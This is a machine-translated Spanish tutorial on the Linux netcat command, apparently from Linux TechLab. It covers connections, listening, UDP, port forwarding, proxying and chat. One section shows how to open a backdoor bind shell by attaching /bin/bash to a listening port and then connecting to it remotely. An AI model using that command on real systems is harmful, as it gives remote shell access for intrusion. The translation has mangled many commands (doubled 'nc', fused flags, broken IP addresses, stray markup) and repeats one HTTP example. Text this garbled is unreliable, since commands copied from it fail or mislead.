el comando NC es para realizar tareas de mantenimiento / Diagnóstico relacionadas con la red . Puede realizar operaciones como lectura, escritura o redirecciones de datos a través de la red, de manera similar a cómo puede usar el comando cat para manipular archivos en el sistema Linux. El comando Nc se puede usar como una utilidad para escanear puertos, monitorear o también puede actuar como un proxy TCP básico.
Las organizaciones pueden utilizarlo para revisar su seguridad de red, servidores web, servidores telnet, servidores de correo, etc., comprobando los puertos que se abren y luego asegurarlos., El comando NC también se puede utilizar para capturar la información enviada por el sistema.
Recommended Read : Top 7 commands for Linux Network Traffic Monitoring
Also Read : Important PostgreSQL commands you should know
Now let’s discuss how we can use NC command with some examples,
Examples for NC command
Connect to a remote server
para el servidor remoto con el comando NC,
NC NC 10.10.10.100 80
aquí, 10.10.10.,100 es la IP del servidor al que queremos conectarnos & 80 es el número de puerto para el servidor remoto. Una vez conectado podemos realizar algunas otras funciones como podemos obtener el contenido total de la página con
GET/HTTP/1.1
o recuperar el nombre de la página,
GET/HTTP/1.1
O podemos obtener banner para la huella digital del sistema operativo con lo siguiente,
HEAD/HTTP/1.1
esto nos permitirá saber qué software & Version se está utilizando para ejecutar el servidor web.,
Listen to inbound connection requests
para comprobar si un servidor tiene una solicitud de conexión entrante en un número de Puerto, utilice el siguiente ejemplo
nc nc-l 8080
ahora NC está en modo de escucha para comprobar si hay solicitudes de conexión entrantes en el puerto 8080. Ahora el modo de escucha seguirá funcionando, hasta que termine manualmente. Pero podemos abordar esta opción de ‘w’ para NC,
$ nc -w 10 8080
aquí, 10 significa NC escucha de conexiones de 10 segundos.,
conectando a puertos UDP
por defecto, podemos conectarnos a puertos TCP con NC pero para escuchar la petición entrante hecha a puertos UDP tenemos que usar la opción ‘u’,
nc nc-l-u 55
usando NC para el reenvío de puertos
con la opción ‘c’ DE NC, podemos redirigir un puerto a otro. El ejemplo completo es,
nc nc-u-l 8080-C ‘nc-u-l 8090’
Aquí, hemos reenviado todas las solicitudes entrantes desde el puerto 8080 al puerto 8090.
usando NC como servidor Proxy
para usar el comando NC como proxy, use<| p>
nc nc – l 8080 / nc 10.10.10.,200 80
aquí, todas las conexiones entrantes al puerto 8080 se desviarán al servidor 10.10.10.200 en el puerto 80.
ahora con el comando anterior, solo creamos un pasaje de una vía. Para crear un pasaje de retorno o un canal de comunicación de 2 vías, utilice los siguientes comandos,
MK mkfifo 2way
nc nc – l 8080 0<2way | nc 10.10.10.200 80 1>2way
ahora tendrá la capacidad para enviar y obtener información a través del proxy NC.,
usando NC como herramienta de chat
otra utilidad que NC command puede servir es como una herramienta de chat. Sí, también podemos usarlo como chat. Para crearlo, primero ejecute el siguiente comando en un servidor,
nc nc-l 8080
que para conectarse en una máquina remota, ejecute
nc nc 10.10.10.100 8080
Ahora podemos iniciar la conversación utilizando el terminal / CLI.
usar NC para crear una puerta trasera del sistema
ahora esta es la aplicación más común de NC & es utilizada principalmente por hackers., Básicamente, esto crea una puerta trasera para el sistema que puede ser explotada por los hackers (no debería hacerlo, está mal).
Uno debe ser consciente de esto como para protegerse contra este tipo de hazañas.
el siguiente comando se puede usar para crear una puerta trasera,
nc nc-l 5500-e /bin/bash
Aquí, hemos conectado el puerto 5500 a /bin/bash, que ahora se puede conectar desde una máquina remota para ejecutar los comandos,
nc nc 10.10.10.100 5500
forzar que el servidor permanezca dejará de escuchar la conexión Una vez que se haya terminado la conexión del cliente., Pero con la opción ‘k’, podemos obligar a un servidor a permanecer en ejecución, incluso cuando no hay ningún cliente conectado.
nc nc-L-k 8080
ahora terminamos este tutorial sobre cómo usar el comando NC, no dude en enviar cualquier pregunta o consulta que tenga con respecto a este artículo.,
Si usted piensa que hemos ayudado a usted, o simplemente quieres ayudarnos, por favor, considere estas :-
Conecte con nosotros: Facebook | Twitter | Google Plus
nos Donar algo de su dinero ganado duro:
Linux TechLab está agradecido por su apoyo continuo.